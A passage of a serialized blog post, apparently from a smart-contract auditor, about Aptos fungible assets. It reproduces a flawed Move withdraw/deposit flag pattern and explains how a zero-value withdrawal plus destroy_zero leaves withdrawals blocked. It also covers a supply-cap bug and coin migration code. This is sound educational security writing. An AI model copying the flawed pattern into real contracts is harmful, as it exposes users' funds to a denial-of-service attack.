dispatchable.",{"type":23,"tag":24,"props":66286,"children":66287},{},[66288,66290,66295],{"type":28,"value":66289},"A2: A ",{"type":23,"tag":209,"props":66291,"children":66293},{"className":66292},[],[66294],{"type":28,"value":66260},{"type":28,"value":66296}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":23,"tag":24,"props":66298,"children":66299},{},[66300],{"type":28,"value":66301},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":23,"tag":202,"props":66303,"children":66305},{"className":206,"code":66304,"language":205,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n assert_withdraw_flag(true);\n [...]\n set_withdraw_flag(false);\n fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n [...]\n }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n assert_withdraw_flag(false);\n [...]\n set_withdraw_flag(true);\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[66306],{"type":23,"tag":209,"props":66307,"children":66308},{"__ignoreMap":7},[66309,66404,66424,66439,66459,66502,66517,66524,66531,66650,66669,66684,66703,66746],{"type":23,"tag":213,"props":66310,"children":66311},{"class":215,"line":216},[66312,66316,66320,66324,66328,66332,66336,66340,66344,66348,66352,66356,66360,66364,66368,66372,66376,66380,66384,66388,66392,66396,66400],{"type":23,"tag":213,"props":66313,"children":66314},{"style":268},[66315],{"type":28,"value":61729},{"type":23,"tag":213,"props":66317,"children":66318},{"style":268},[66319],{"type":28,"value":6299},{"type":23,"tag":213,"props":66321,"children":66322},{"style":268},[66323],{"type":28,"value":61738},{"type":23,"tag":213,"props":66325,"children":66326},{"style":220},[66327],{"type":28,"value":434},{"type":23,"tag":213,"props":66329,"children":66330},{"style":290},[66331],{"type":28,"value":6079},{"type":23,"tag":213,"props":66333,"children":66334},{"style":274},[66335],{"type":28,"value":277},{"type":23,"tag":213,"props":66337,"children":66338},{"style":268},[66339],{"type":28,"value":918},{"type":23,"tag":213,"props":66341,"children":66342},{"style":220},[66343],{"type":28,"value":367},{"type":23,"tag":213,"props":66345,"children":66346},{"style":268},[66347],{"type":28,"value":6032},{"type":23,"tag":213,"props":66349,"children":66350},{"style":274},[66351],{"type":28,"value":277},{"type":23,"tag":213,"props":66353,"children":66354},{"style":290},[66355],{"type":28,"value":61615},{"type":23,"tag":213,"props":66357,"children":66358},{"style":220},[66359],{"type":28,"value":434},{"type":23,"tag":213,"props":66361,"children":66362},{"style":290},[66363],{"type":28,"value":6079},{"type":23,"tag":213,"props":66365,"children":66366},{"style":220},[66367],{"type":28,"value":6723},{"type":23,"tag":213,"props":66369,"children":66370},{"style":268},[66371],{"type":28,"value":61787},{"type":23,"tag":213,"props":66373,"children":66374},{"style":274},[66375],{"type":28,"value":277},{"type":23,"tag":213,"props":66377,"children":66378},{"style":290},[66379],{"type":28,"value":61594},{"type":23,"tag":213,"props":66381,"children":66382},{"style":220},[66383],{"type":28,"value":424},{"type":23,"tag":213,"props":66385,"children":66386},{"style":268},[66387],{"type":28,"value":66032},{"type":23,"tag":213,"props":66389,"children":66390},{"style":274},[66391],{"type":28,"value":277},{"type":23,"tag":213,"props":66393,"children":66394},{"style":274},[66395],{"type":28,"value":927},{"type":23,"tag":213,"props":66397,"children":66398},{"style":290},[66399],{"type":28,"value":65478},{"type":23,"tag":213,"props":66401,"children":66402},{"style":220},[66403],{"type":28,"value":14870},{"type":23,"tag":213,"props":66405,"children":66406},{"class":215,"line":226},[66407,66412,66416,66420],{"type":23,"tag":213,"props":66408,"children":66409},{"style":257},[66410],{"type":28,"value":66411}," assert_withdraw_flag",{"type":23,"tag":213,"props":66413,"children":66414},{"style":220},[66415],{"type":28,"value":265},{"type":23,"tag":213,"props":66417,"children":66418},{"style":230},[66419],{"type":28,"value":1710},{"type":23,"tag":213,"props":66421,"children":66422},{"style":220},[66423],{"type":28,"value":2867},{"type":23,"tag":213,"props":66425,"children":66426},{"class":215,"line":524},[66427,66431,66435],{"type":23,"tag":213,"props":66428,"children":66429},{"style":220},[66430],{"type":28,"value":62772},{"type":23,"tag":213,"props":66432,"children":66433},{"style":274},[66434],{"type":28,"value":9675},{"type":23,"tag":213,"props":66436,"children":66437},{"style":220},[66438],{"type":28,"value":11856},{"type":23,"tag":213,"props":66440,"children":66441},{"class":215,"line":533},[66442,66447,66451,66455],{"type":23,"tag":213,"props":66443,"children":66444},{"style":257},[66445],{"type":28,"value":66446}," set_withdraw_flag",{"type":23,"tag":213,"props":66448,"children":66449},{"style":220},[66450],{"type":28,"value":265},{"type":23,"tag":213,"props":66452,"children":66453},{"style":230},[66454],{"type":28,"value":2499},{"type":23,"tag":213,"props":66456,"children":66457},{"style":220},[66458],{"type":28,"value":2867},{"type":23,"tag":213,"props":66460,"children":66461},{"class":215,"line":543},[66462,66466,66470,66474,66478,66482,66486,66490,66494,66498],{"type":23,"tag":213,"props":66463,"children":66464},{"style":220},[66465],{"type":28,"value":66014},{"type":23,"tag":213,"props":66467,"children":66468},{"style":274},[66469],{"type":28,"value":562},{"type":23,"tag":213,"props":66471,"children":66472},{"style":257},[66473],{"type":28,"value":66202},{"type":23,"tag":213,"props":66475,"children":66476},{"style":220},[66477],{"type":28,"value":265},{"type":23,"tag":213,"props":66479,"children":66480},{"style":268},[66481],{"type":28,"value":66032},{"type":23,"tag":213,"props":66483,"children":66484},{"style":220},[66485],{"type":28,"value":424},{"type":23,"tag":213,"props":66487,"children":66488},{"style":268},[66489],{"type":28,"value":6032},{"type":23,"tag":213,"props":66491,"children":66492},{"style":220},[66493],{"type":28,"value":424},{"type":23,"tag":213,"props":66495,"children":66496},{"style":268},[66497],{"type":28,"value":20361},{"type":23,"tag":213,"props":66499,"children":66500},{"style":220},[66501],{"type":28,"value":2867},{"type":23,"tag":213,"props":66503,"children":66504},{"class":215,"line":551},[66505,66509,66513],{"type":23,"tag":213,"props":66506,"children":66507},{"style":220},[66508],{"type":28,"value":62772},{"type":23,"tag":213,"props":66510,"children":66511},{"style":274},[66512],{"type":28,"value":9675},{"type":23,"tag":213,"props":66514,"children":66515},{"style":220},[66516],{"type":28,"value":11856},{"type":23,"tag":213,"props":66518,"children":66519},{"class":215,"line":570},[66520],{"type":23,"tag":213,"props":66521,"children":66522},{"style":220},[66523],{"type":28,"value":2875},{"type":23,"tag":213,"props":66525,"children":66526},{"class":215,"line":655},[66527],{"type":23,"tag":213,"props":66528,"children":66529},{"emptyLinePlaceholder":18},[66530],{"type":28,"value":530},{"type":23,"tag":213,"props":66532,"children":66533},{"class":215,"line":1176},[66534,66538,66542,66546,66550,66554,66558,66562,66566,66570,66574,66578,66582,66586,66590,66594,66598,66602,66606,66610,66614,66618,66622,66626,66630,66634,66638,66642,66646],{"type":23,"tag":213,"props":66535,"children":66536},{"style":268},[66537],{"type":28,"value":61729},{"type":23,"tag":213,"props":66539,"children":66540},{"style":268},[66541],{"type":28,"value":6299},{"type":23,"tag":213,"props":66543,"children":66544},{"style":268},[66545],{"type":28,"value":20326},{"type":23,"tag":213,"props":66547,"children":66548},{"style":220},[66549],{"type":28,"value":434},{"type":23,"tag":213,"props":66551,"children":66552},{"style":290},[66553],{"type":28,"value":6079},{"type":23,"tag":213,"props":66555,"children":66556},{"style":274},[66557],{"type":28,"value":277},{"type":23,"tag":213,"props":66559,"children":66560},{"style":268},[66561],{"type":28,"value":918},{"type":23,"tag":213,"props":66563,"children":66564},{"style":220},[66565],{"type":28,"value":367},{"type":23,"tag":213,"props":66567,"children":66568},{"style":268},[66569],{"type":28,"value":6032},{"type":23,"tag":213,"props":66571,"children":66572},{"style":274},[66573],{"type":28,"value":277},{"type":23,"tag":213,"props":66575,"children":66576},{"style":290},[66577],{"type":28,"value":61615},{"type":23,"tag":213,"props":66579,"children":66580},{"style":220},[66581],{"type":28,"value":434},{"type":23,"tag":213,"props":66583,"children":66584},{"style":290},[66585],{"type":28,"value":6079},{"type":23,"tag":213,"props":66587,"children":66588},{"style":220},[66589],{"type":28,"value":6723},{"type":23,"tag":213,"props":66591,"children":66592},{"style":268},[66593],{"type":28,"value":20361},{"type":23,"tag":213,"props":66595,"children":66596},{"style":274},[66597],{"type":28,"value":277},{"type":23,"tag":213,"props":66599,"children":66600},{"style":290},[66601],{"type":28,"value":308},{"type":23,"tag":213,"props":66603,"children":66604},{"style":220},[66605],{"type":28,"value":424},{"type":23,"tag":213,"props":66607,"children":66608},{"style":268},[66609],{"type":28,"value":66032},{"type":23,"tag":213,"props":66611,"children":66612},{"style":274},[66613],{"type":28,"value":277},{"type":23,"tag":213,"props":66615,"children":66616},{"style":274},[66617],{"type":28,"value":927},{"type":23,"tag":213,"props":66619,"children":66620},{"style":290},[66621],{"type":28,"value":65478},{"type":23,"tag":213,"props":66623,"children":66624},{"style":220},[66625],{"type":28,"value":2121},{"type":23,"tag":213,"props":66627,"children":66628},{"style":274},[66629],{"type":28,"value":277},{"type":23,"tag":213,"props":66631,"children":66632},{"style":290},[66633],{"type":28,"value":61594},{"type":23,"tag":213,"props":66635,"children":66636},{"style":268},[66637],{"type":28,"value":7656},{"type":23,"tag":213,"props":66639,"children":66640},{"style":220},[66641],{"type":28,"value":469},{"type":23,"tag":213,"props":66643,"children":66644},{"style":274},[66645],{"type":28,"value":9675},{"type":23,"tag":213,"props":66647,"children":66648},{"style":220},[66649],{"type":28,"value":61820},{"type":23,"tag":213,"props":66651,"children":66652},{"class":215,"line":1202},[66653,66657,66661,66665],{"type":23,"tag":213,"props":66654,"children":66655},{"style":257},[66656],{"type":28,"value":66411},{"type":23,"tag":213,"props":66658,"children":66659},{"style":220},[66660],{"type":28,"value":265},{"type":23,"tag":213,"props":66662,"children":66663},{"style":230},[66664],{"type":28,"value":2499},{"type":23,"tag":213,"props":66666,"children":66667},{"style":220},[66668],{"type":28,"value":2867},{"type":23,"tag":213,"props":66670,"children":66671},{"class":215,"line":1758},[66672,66676,66680],{"type":23,"tag":213,"props":66673,"children":66674},{"style":220},[66675],{"type":28,"value":62772},{"type":23,"tag":213,"props":66677,"children":66678},{"style":274},[66679],{"type":28,"value":9675},{"type":23,"tag":213,"props":66681,"children":66682},{"style":220},[66683],{"type":28,"value":11856},{"type":23,"tag":213,"props":66685,"children":66686},{"class":215,"line":1767},[66687,66691,66695,66699],{"type":23,"tag":213,"props":66688,"children":66689},{"style":257},[66690],{"type":28,"value":66446},{"type":23,"tag":213,"props":66692,"children":66693},{"style":220},[66694],{"type":28,"value":265},{"type":23,"tag":213,"props":66696,"children":66697},{"style":230},[66698],{"type":28,"value":1710},{"type":23,"tag":213,"props":66700,"children":66701},{"style":220},[66702],{"type":28,"value":2867},{"type":23,"tag":213,"props":66704,"children":66705},{"class":215,"line":1789},[66706,66710,66714,66718,66722,66726,66730,66734,66738,66742],{"type":23,"tag":213,"props":66707,"children":66708},{"style":220},[66709],{"type":28,"value":66014},{"type":23,"tag":213,"props":66711,"children":66712},{"style":274},[66713],{"type":28,"value":562},{"type":23,"tag":213,"props":66715,"children":66716},{"style":257},[66717],{"type":28,"value":66023},{"type":23,"tag":213,"props":66719,"children":66720},{"style":220},[66721],{"type":28,"value":265},{"type":23,"tag":213,"props":66723,"children":66724},{"style":268},[66725],{"type":28,"value":66032},{"type":23,"tag":213,"props":66727,"children":66728},{"style":220},[66729],{"type":28,"value":424},{"type":23,"tag":213,"props":66731,"children":66732},{"style":268},[66733],{"type":28,"value":6032},{"type":23,"tag":213,"props":66735,"children":66736},{"style":220},[66737],{"type":28,"value":424},{"type":23,"tag":213,"props":66739,"children":66740},{"style":268},[66741],{"type":28,"value":20361},{"type":23,"tag":213,"props":66743,"children":66744},{"style":220},[66745],{"type":28,"value":2183},{"type":23,"tag":213,"props":66747,"children":66748},{"class":215,"line":1812},[66749],{"type":23,"tag":213,"props":66750,"children":66751},{"style":220},[66752],{"type":28,"value":1208},{"type":23,"tag":24,"props":66754,"children":66755},{},[66756],{"type":28,"value":66757},"At first glance, this code appears valid, but not to an astute reader.",{"type":23,"tag":66239,"props":66759,"children":66760},{},[66761,66766],{"type":23,"tag":24,"props":66762,"children":66763},{},[66764],{"type":28,"value":66765},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":23,"tag":66270,"props":66767,"children":66768},{"v-slot:answer-0":7},[66769,66789],{"type":23,"tag":24,"props":66770,"children":66771},{},[66772,66774,66779,66781,66787],{"type":28,"value":66773},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":23,"tag":209,"props":66775,"children":66777},{"className":66776},[],[66778],{"type":28,"value":61565},{"type":28,"value":66780}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":23,"tag":209,"props":66782,"children":66784},{"className":66783},[],[66785],{"type":28,"value":66786},"fungible_asset::destroy_zero",{"type":28,"value":66788},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":23,"tag":24,"props":66790,"children":66791},{},[66792],{"type":28,"value":66793},"It's important to understand all the features in the standard.",{"type":23,"tag":47,"props":66795,"children":66797},{"id":66796},"migrating-from-coins-to-fungible-assets",[66798],{"type":28,"value":66799},"Migrating from coins to fungible assets",{"type":23,"tag":24,"props":66801,"children":66802},{},[66803,66805,66810],{"type":28,"value":66804},"If a fungible asset is considered an upgrade to ",{"type":23,"tag":209,"props":66806,"children":66808},{"className":66807},[],[66809],{"type":28,"value":61020},{"type":28,"value":66811},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":23,"tag":66813,"props":66814,"children":66815},"note",{},[66816],{"type":23,"tag":24,"props":66817,"children":66818},{},[66819,66821,66826,66828,66833],{"type":28,"value":66820},"While the ",{"type":23,"tag":209,"props":66822,"children":66824},{"className":66823},[],[66825],{"type":28,"value":61020},{"type":28,"value":66827}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":23,"tag":209,"props":66829,"children":66831},{"className":66830},[],[66832],{"type":28,"value":61020},{"type":28,"value":124},{"type":23,"tag":24,"props":66835,"children":66836},{},[66837,66838,66844,66846,66851,66853,66858],{"type":28,"value":2623},{"type":23,"tag":209,"props":66839,"children":66841},{"className":66840},[],[66842],{"type":28,"value":66843},"coin_to_fungible_asset",{"type":28,"value":66845}," converting function automatically generates a corresponding fungible asset for a ",{"type":23,"tag":209,"props":66847,"children":66849},{"className":66848},[],[66850],{"type":28,"value":61020},{"type":28,"value":66852}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":23,"tag":209,"props":66854,"children":66856},{"className":66855},[],[66857],{"type":28,"value":61020},{"type":28,"value":66859}," is not allowed.",{"type":23,"tag":202,"props":66861,"children":66863},{"className":206,"code":66862,"language":205,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n let metadata = ensure_paired_metadata\u003CCoinType>();\n let amount = burn_internal(coin);\n fungible_asset::mint_internal(metadata, amount)\n}\n",[66864],{"type":23,"tag":209,"props":66865,"children":66866},{"__ignoreMap":7},[66867,66895,66922,66958,66991,67024,67060],{"type":23,"tag":213,"props":66868,"children":66869},{"class":215,"line":216},[66870,66874,66878,66883,66887,66891],{"type":23,"tag":213,"props":66871,"children":66872},{"style":268},[66873],{"type":28,"value":61729},{"type":23,"tag":213,"props":66875,"children":66876},{"style":268},[66877],{"type":28,"value":6299},{"type":23,"tag":213,"props":66879,"children":66880},{"style":268},[66881],{"type":28,"value":66882}," coin_to_fungible_asset",{"type":23,"tag":213,"props":66884,"children":66885},{"style":220},[66886],{"type":28,"value":434},{"type":23,"tag":213,"props":66888,"children":66889},{"style":290},[66890],{"type":28,"value":6676},{"type":23,"tag":213,"props":66892,"children":66893},{"style":220},[66894],{"type":28,"value":6681},{"type":23,"tag":213,"props":66896,"children":66897},{"class":215,"line":226},[66898,66902,66906,66910,66914,66918],{"type":23,"tag":213,"props":66899,"children":66900},{"style":268},[66901],{"type":28,"value":61239},{"type":23,"tag":213,"props":66903,"children":66904},{"style":274},[66905],{"type":28,"value":277},{"type":23,"tag":213,"props":66907,"children":66908},{"style":290},[66909],{"type":28,"value":5895},{"type":23,"tag":213,"props":66911,"children":66912},{"style":220},[66913],{"type":28,"value":434},{"type":23,"tag":213,"props":66915,"children":66916},{"style":290},[66917],{"type":28,"value":6676},{"type":23,"tag":213,"props":66919,"children":66920},{"style":220},[66921],{"type":28,"value":6084},{"type":23,"tag":213,"props":66923,"children":66924},{"class":215,"line":524},[66925,66929,66933,66937,66941,66946,66950,66954],{"type":23,"tag":213,"props":66926,"children":66927},{"style":220},[66928],{"type":28,"value":2121},{"type":23,"tag":213,"props":66930,"children":66931},{"style":274},[66932],{"type":28,"value":277},{"type":23,"tag":213,"props":66934,"children":66935},{"style":290},[66936],{"type":28,"value":61594},{"type":23,"tag":213,"props":66938,"children":66939},{"style":268},[66940],{"type":28,"value":7656},{"type":23,"tag":213,"props":66942,"children":66943},{"style":290},[66944],{"type":28,"value":66945}," CoinConversionMap",{"type":23,"tag":213,"props":66947,"children":66948},{"style":220},[66949],{"type":28,"value":424},{"type":23,"tag":213,"props":66951,"children":66952},{"style":290},[66953],{"type":28,"value":6806},{"type":23,"tag":213,"props":66955,"children":66956},{"style":220},[66957],{"type":28,"value":1375},{"type":23,"tag":213,"props":66959,"children":66960},{"class":215,"line":533},[66961,66965,66970,66974,66979,66983,66987],{"type":23,"tag":213,"props":66962,"children":66963},{"style":230},[66964],{"type":28,"value":487},{"type":23,"tag":213,"props":66966,"children":66967},{"style":268},[66968],{"type":28,"value":66969}," metadata",{"type":23,"tag":213,"props":66971,"children":66972},{"style":274},[66973],{"type":28,"value":511},{"type":23,"tag":213,"props":66975,"children":66976},{"style":268},[66977],{"type":28,"value":66978}," ensure_paired_metadata",{"type":23,"tag":213,"props":66980,"children":66981},{"style":220},[66982],{"type":28,"value":434},{"type":23,"tag":213,"props":66984,"children":66985},{"style":290},[66986],{"type":28,"value":6676},{"type":23,"tag":213,"props":66988,"children":66989},{"style":220},[66990],{"type":28,"value":689},{"type":23,"tag":213,"props":66992,"children":66993},{"class":215,"line":543},[66994,66998,67003,67007,67012,67016,67020],{"type":23,"tag":213,"props":66995,"children":66996},{"style":230},[66997],{"type":28,"value":487},{"type":23,"tag":213,"props":66999,"children":67000},{"style":268},[67001],{"type":28,"value":67002}," amount",{"type":23,"tag":213,"props":67004,"children":67005},{"style":274},[67006],{"type":28,"value":511},{"type":23,"tag":213,"props":67008,"children":67009},{"style":257},[67010],{"type":28,"value":67011}," burn_internal",{"type":23,"tag":213,"props":67013,"children":67014},{"style":220},[67015],{"type":28,"value":265},{"type":23,"tag":213,"props":67017,"children":67018},{"style":268},[67019],{"type":28,"value":60987},{"type":23,"tag":213,"props":67021,"children":67022},{"style":220},[67023],{"type":28,"value":2867},{"type":23,"tag":213,"props":67025,"children":67026},{"class":215,"line":551},[67027,67031,67035,67040,67044,67048,67052,67056],{"type":23,"tag":213,"props":67028,"children":67029},{"style":220},[67030],{"type":28,"value":66014},{"type":23,"tag":213,"props":67032,"children":67033},{"style":274},[67034],{"type":28,"value":562},{"type":23,"tag":213,"props":67036,"children":67037},{"style":257},[67038],{"type":28,"value":67039},"mint_internal",{"type":23,"tag":213,"props":67041,"children":67042},{"style":220},[67043],{"type":28,"value":265},{"type":23,"tag":213,"props":67045,"children":67046},{"style":268},[67047],{"type":28,"value":62366},{"type":23,"tag":213,"props":67049,"children":67050},{"style":220},[67051],{"type":28,"value":424},{"type":23,"tag":213,"props":67053,"children":67054},{"style":268},[67055],{"type":28,"value":20361},{"type":23,"tag":213,"props":67057,"children":67058},{"style":220},[67059],{"type":28,"value":2183},{"type":23,"tag":213,"props":67061,"children":67062},{"class":215,"line":570},[67063],{"type":23,"tag":213,"props":67064,"children":67065},{"style":220},[67066],{"type":28,"value":1208},{"type":23,"tag":24,"props":67068,"children":67069},{},[67070,67072,67079],{"type":28,"value":67071},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":23,"tag":36,"props":67073,"children":67076},{"href":67074,"rel":67075},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[40],[67077],{"type":28,"value":67078},"noticed an overlooked detail",{"type":28,"value":67080}," in the linking process.",{"type":23,"tag":202,"props":67082,"children":67084},{"className":206,"code":67083,"language":205,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n &metadata_object_cref,\n option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n name\u003CCoinType>(),\n symbol\u003CCoinType>(),\n decimals\u003CCoinType>(),\n string::utf8(b\"\"),\n string::utf8(b\"\"),\n);\n[...]\n",[67085],{"type":23,"tag":209,"props":67086,"children":67087},{"__ignoreMap":7},[67088,67103,67123,67140,67196,67217,67237,67257,67287,67314,67321],{"type":23,"tag":213,"props":67089,"children":67090},{"class":215,"line":216},[67091,67095,67099],{"type":23,"tag":213,"props":67092,"children":67093},{"style":220},[67094],{"type":28,"value":3821},{"type":23,"tag":213,"props":67096,"children":67097},{"style":274},[67098],{"type":28,"value":9675},{"type":23,"tag":213,"props":67100,"children":67101},{"style":220},[67102],{"type":28,"value":11856},{"type":23,"tag":213,"props":67104,"children":67105},{"class":215,"line":226},[67106,67110,67114,67119],{"type":23,"tag":213,"props":67107,"children":67108},{"style":220},[67109],{"type":28,"value":62663},{"type":23,"tag":213,"props":67111,"children":67112},{"style":274},[67113],{"type":28,"value":562},{"type":23,"tag":213,"props":67115,"children":67116},{"style":257},[67117],{"type":28,"value":67118},"create_primary_store_enabled_fungible_asset",{"type":23,"tag":213,"props":67120,"children":67121},{"style":220},[67122],{"type":28,"value":1511},{"type":23,"tag":213,"props":67124,"children":67125},{"class":215,"line":524},[67126,67131,67136],{"type":23,"tag":213,"props":67127,"children":67128},{"style":274},[67129],{"type":28,"value":67130}," &",{"type":23,"tag":213,"props":67132,"children":67133},{"style":268},[67134],{"type":28,"value":67135},"metadata_object_cref",{"type":23,"tag":213,"props":67137,"children":67138},{"style":220},[67139],{"type":28,"value":944},{"type":23,"tag":213,"props":67141,"children":67142},{"class":215,"line":533},[67143,67148,67152,67157,67161,67166,67170,67174,67179,67183,67187,67191],{"type":23,"tag":213,"props":67144,"children":67145},{"style":220},[67146],{"type":28,"value":67147}," option",{"type":23,"tag":213,"props":67149,"children":67150},{"style":274},[67151],{"type":28,"value":562},{"type":23,"tag":213,"props":67153,"children":67154},{"style":257},[67155],{"type":28,"value":67156},"map",{"type":23,"tag":213,"props":67158,"children":67159},{"style":220},[67160],{"type":28,"value":265},{"type":23,"tag":213,"props":67162,"children":67163},{"style":268},[67164],{"type":28,"value":67165},"coin_supply",{"type":23,"tag":213,"props":67167,"children":67168},{"style":220},[67169],{"type":28,"value":434},{"type":23,"tag":213,"props":67171,"children":67172},{"style":290},[67173],{"type":28,"value":6676},{"type":23,"tag":213,"props":67175,"children":67176},{"style":220},[67177],{"type":28,"value":67178},">(), ",{"type":23,"tag":213,"props":67180,"children":67181},{"style":274},[67182],{"type":28,"value":10499},{"type":23,"tag":213,"props":67184,"children":67185},{"style":268},[67186],{"type":28,"value":3181},{"type":23,"tag":213,"props":67188,"children":67189},{"style":274},[67190],{"type":28,"value":10499},{"type":23,"tag":213,"props":67192,"children":67193},{"style":220},[67194],{"type":28,"value":67195}," MAX_U128),\n",{"type":23,"tag":213,"props":67197,"children":67198},{"class":215,"line":543},[67199,67204,67208,67212],{"type":23,"tag":213,"props":67200,"children":67201},{"style":268},[67202],{"type":28,"value":67203}," name",{"type":23,"tag":213,"props":67205,"children":67206},{"style":220},[67207],{"type":28,"value":434},{"type":23,"tag":213,"props":67209,"children":67210},{"style":290},[67211],{"type":28,"value":6676},{"type":23,"tag":213,"props":67213,"children":67214},{"style":220},[67215],{"type":28,"value":67216},">(),\n",{"type":23,"tag":213,"props":67218,"children":67219},{"class":215,"line":551},[67220,67225,67229,67233],{"type":23,"tag":213,"props":67221,"children":67222},{"style":268},[67223],{"type":28,"value":67224}," symbol",{"type":23,"tag":213,"props":67226,"children":67227},{"style":220},[67228],{"type":28,"value":434},{"type":23,"tag":213,"props":67230,"children":67231},{"style":290},[67232],{"type":28,"value":6676},{"type":23,"tag":213,"props":67234,"children":67235},{"style":220},[67236],{"type":28,"value":67216},{"type":23,"tag":213,"props":67238,"children":67239},{"class":215,"line":570},[67240,67245,67249,67253],{"type":23,"tag":213,"props":67241,"children":67242},{"style":268},[67243],{"type":28,"value":67244}," decimals",{"type":23,"tag":213,"props":67246,"children":67247},{"style":220},[67248],{"type":28,"value":434},{"type":23,"tag":213,"props":67250,"children":67251},{"style":290},[67252],{"type":28,"value":6676},{"type":23,"tag":213,"props":67254,"children":67255},{"style":220},[67256],{"type":28,"value":67216},{"type":23,"tag":213,"props":67258,"children":67259},{"class":215,"line":655},[67260,67265,67269,67274,67278,67283],{"type":23,"tag":213,"props":67261,"children":67262},{"style":220},[67263],{"type":28,"value":67264}," string",{"type":23,"tag":213,"props":67266,"children":67267},{"style":274},[67268],{"type":28,"value":562},{"type":23,"tag":213,"props":67270,"children":67271},{"style":257},[67272],{"type":28,"value":67273},"utf8",{"type":23,"tag":213,"props":67275,"children":67276},{"style":220},[67277],{"type":28,"value":265},{"type":23,"tag":213,"props":67279,"children":67280},{"style":246},[67281],{"type":28,"value":67282},"b\"\"",{"type":23,"tag":213,"props":67284,"children":67285},{"style":220},[67286],{"type":28,"value":1715},{"type":23,"tag":213,"props":67288,"children":67289},{"class":215,"line":1176},[67290,67294,67298,67302,67306,67310],{"type":23,"tag":213,"props":67291,"children":67292},{"style":220},[67293],{"type":28,"value":67264},{"type":23,"tag":213,"props":67295,"children":67296},{"style":274},[67297],{"type":28,"value":562},{"type":23,"tag":213,"props":67299,"children":67300},{"style":257},[67301],{"type":28,"value":67273},{"type":23,"tag":213,"props":67303,"children":67304},{"style":220},[67305],{"type":28,"value":265},{"type":23,"tag":213,"props":67307,"children":67308},{"style":246},[67309],{"type":28,"value":67282},{"type":23,"tag":213,"props":67311,"children":67312},{"style":220},[67313],{"type":28,"value":1715},{"type":23,"tag":213,"props":67315,"children":67316},{"class":215,"line":1202},[67317],{"type":23,"tag":213,"props":67318,"children":67319},{"style":220},[67320],{"type":28,"value":2867},{"type":23,"tag":213,"props":67322,"children":67323},{"class":215,"line":1758},[67324,67328,67332],{"type":23,"tag":213,"props":67325,"children":67326},{"style":220},[67327],{"type":28,"value":3821},{"type":23,"tag":213,"props":67329,"children":67330},{"style":274},[67331],{"type":28,"value":9675},{"type":23,"tag":213,"props":67333,"children":67334},{"style":220},[67335],{"type":28,"value":11856},{"type":23,"tag":24,"props":67337,"children":67338},{},[67339,67341,67346],{"type":28,"value":67340},"When the linked fungible asset was created, the current ",{"type":23,"tag":209,"props":67342,"children":67344},{"className":67343},[],[67345],{"type":28,"value":61020},{"type":28,"value":67347}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":23,"tag":24,"props":67349,"children":67350},{},[67351,67353,67358,67360,67366,67368,67373],{"type":28,"value":67352},"Users can manually migrate their ",{"type":23,"tag":209,"props":67354,"children":67356},{"className":67355},[],[67357],{"type":28,"value":61182},{"type":28,"value":67359}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":23,"tag":209,"props":67361,"children":67363},{"className":67362},[],[67364],{"type":28,"value":67365},"\u003CCoinStore\u003CCoinType>>",{"type":28,"value":67367}," from the caller. All coins in the ",{"type":23,"tag":209,"props":67369,"children":67371},{"className":67370},[],[67372],{"type":28,"value":61182},{"type":28,"value":67374}," are exchanged and transferred to the new store during the migration.",{"type":23,"tag":202,"props":67376,"children":67378},{"className":206,"code":67377,"language":205,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[67379],{"type":23,"tag":209,"props":67380,"children":67381},{"__ignoreMap":7},[67382,67390,67422,67442,67478,67519],{"type":23,"tag":213,"props":67383,"children":67384},{"class":215,"line":216},[67385],{"type":23,"tag":213,"props":67386,"children":67387},{"style":537},[67388],{"type":28,"value":67389},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":23,"tag":213,"props":67391,"children":67392},{"class":215,"line":226},[67393,67397,67401,67405,67410,67414,67418],{"type":23,"tag":213,"props":67394,"children":67395},{"style":268},[67396],{"type":28,"value":61729},{"type":23,"tag":213,"props":67398,"children":67399},{"style":268},[67400],{"type":28,"value":62696},{"type":23,"tag":213,"props":67402,"children":67403},{"style":268},[67404],{"type":28,"value":6299},{"type":23,"tag":213,"props":67406,"children":67407},{"style":268},[67408],{"type":28,"value":67409}," 